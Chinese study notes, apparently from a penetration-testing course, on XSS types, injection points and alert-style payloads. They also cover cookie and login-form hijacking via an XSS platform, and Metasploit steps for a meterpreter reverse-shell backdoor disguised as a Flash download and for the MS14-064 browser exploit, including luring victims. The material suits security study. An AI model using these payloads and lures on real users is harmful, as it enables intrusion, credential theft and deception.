-
xss跨站
-
分类
- dom
- 反射
- 存储
- 不常用
- mXSS(突变型 XSS) UXSS(通用型 xss) Flash XSS UTF-7 XSS MHTML XSS CSS XSS VBScript XSS
-
危害
- 网络钓鱼,包括获取各类用户账号
- 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作
- 劫持用户(浏览器)会话,从而执行任意操作,如,非法转账、发表日志、强制弹出广告页面、刷流量等
- 网页挂马
-
原理
- 攻击者利用网站对用户输入过滤不足,输入可以显示在对其他用户的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行伤害的一种攻击方式
-
数据交互的地方·
- get、post、headers
- 反馈与浏览
- 富文本编辑器
- 各类标签插入和自定义
-
数据输出的地方
- 用户资料
- 关键词、标签、说明
-
文件上传
-
-
xss知识总结
- 原理
- 攻击者利用网站程序对用户输入过滤不足,输入了对用户造成影响的html代码,从而盗取用户资料等
- 通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
- 数据交互
- get
- post
- headers
- 反馈与浏览
- 富文本编辑器
- 各类标签插入和自定义
- 数据输出
- 用户资料 关键词、标签、说明 文件上传
- 分类
- 反射型(非持久型)
- 不会存储在数据库,攻击者构造链接,只有用户点击了才会触发攻击代码,所有反射性xss属于一次性漏洞
- UA:User-Agent
- UA头换成xss代码
- <script>alert(`xss`)</script>
- 不会存储在数据库,攻击者构造链接,只有用户点击了才会触发攻击代码,所有反射性xss属于一次性漏洞
- 存储型(持久型)
- 留言板,只要有人访问留言板就会触发xss攻击
- DOM 型
- 不与后台数据库产生数据交互,是一种通过DOM操作前端代码输出的时候长生的问题;DOM型xss取决于输出的位置,并不取决于输出环境,
- 如果出现输入内容拼接到a标签里面<a herf="123">what do you see?</a>
- 尝试构造闭合触发弹窗--`onclick=:"alert(`xss`)">
- <img src=0 onerror=`alert(0)`>
- referer
- 链接后面加" onerror="alert(0)
- 不与后台数据库产生数据交互,是一种通过DOM操作前端代码输出的时候长生的问题;DOM型xss取决于输出的位置,并不取决于输出环境,
- mXSS( 突变型 XSS)
- 中文突变型xss
- 原先交的payload无害,但经过一些特殊原因,如反编码等,导致payload发生变异,导致xss
- <script src="链接"></script>
- 中文突变型xss
- UXSS (通用型 xss )
- UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。
- Flash XSS
- getURL/navigateToURL 访问跳转
- externallnterface.call 调用js函数
- payload
- /res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(
- e){}//
- UTF-7 XSS
- MHTML XSS
- CSS XSS
- VBScript XSS
- 反射型(非持久型)
- 危害
- 网络钓鱼,包括获取各类用户账号; 窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份对网站执行操作; 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等; 强制弹出广告页面、刷流量等; 网页挂马。
- xss利用环境
- Beef-xss项目
* - xsspddf
- 创建PDF,加入动作JS
- 后台植入cookie&表单劫持
- cookie可能会因为过滤不全导致获取不全,可使用获取表单的方法劫持密码(检测或者检测不出来);表单密码:查看登录界面,在登录页面处(即打开后若是index页面,在index页面首部放入代码<xss平台获取代码>),通过js代码发送到指定位置,在目的服务器处编写接受文件即可;执行代码,就会在xss平台上获取cookie
- Flash钓鱼配合MSF捆绑上线
- 生成后门
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe
- 下载官方文件-保证安装正常
- 压缩捆绑文件-解压提取运行
- MSF配置监听状态
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 0.0.0.0
- set lport 6666
- run
- 诱使受害者访问URL
-
伪造下载链接,后门和软件同时压缩,诱导下载,在服务器上进行监听,获取权限
-
<a herf="利用kali生成后门脚本链接"target="_self">
-

-

-
-
-
- 浏览器网马配合 MSF 访问上线
- 待定
-
- 条件: beef 上线受控后或直接钓鱼(浏览器存在 0day )
- MS14-064简介: Microsoft Windows OLE远程代码执行漏洞, OLE (对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影Win95+IE3 - Win10+IE11全版本。
- 1、配置 MSF 生成 URL
- msfconsole
- use exploit/windows/browser/ms14_064_ole_code_execution
- set allowpowershellprompt true
- set target 1
- run
- 2、诱使受害者访问 URL-语言要适当
- 漏洞复现:https://www.cnblogs.com/panglinglong/p/17393402.html
-
- 待定
- 生成后门
- Beef-xss项目
- 原理
- xss
-
swf调用js
- 一、 环境准备,安全沙箱:
-
1 一般在主SWF的构造函数里加上
- Security.allowDomain("相关域名"), 比如 Security.allowDomain("91doule.com")
- 测试时不考虑安全问题,一般使用Security.allowDomain("*")
- AS代码:设置允许JS调用
-
2 html容器中的allowScriptAccess参数
- html 配置代码:allowscriptaccess = "always"; 这个参数一般有好几处要修改!
- 二、SWF 调用 JS, 调用示例
-
- AS 代码: ExternalInterface.call("jsFunc", param);
-
- 三、JS 调用AS,调用示例
- 1 SWF 里注册供JS 回调的函数 jsCallAsFunc
- AS 代码: ExternalInterface.addCallback("jsCallback", jsCallback);
- 1 SWF 里注册供JS 回调的函数 jsCallAsFunc
-
- JS 获取SWF 对象, 并且调用AS 函数
- JS代码:
- var find = function(tag){var list=document.getElementsByTagName(tag);for(var i=0;i!=list.length;i++){if(list[i].jsCallback){return list[i]}}};
- var flashObj = find("embed") || find("object");
- if(flashObj != null){
- flashObj.jsCallback(callbackId,response);
- }
-


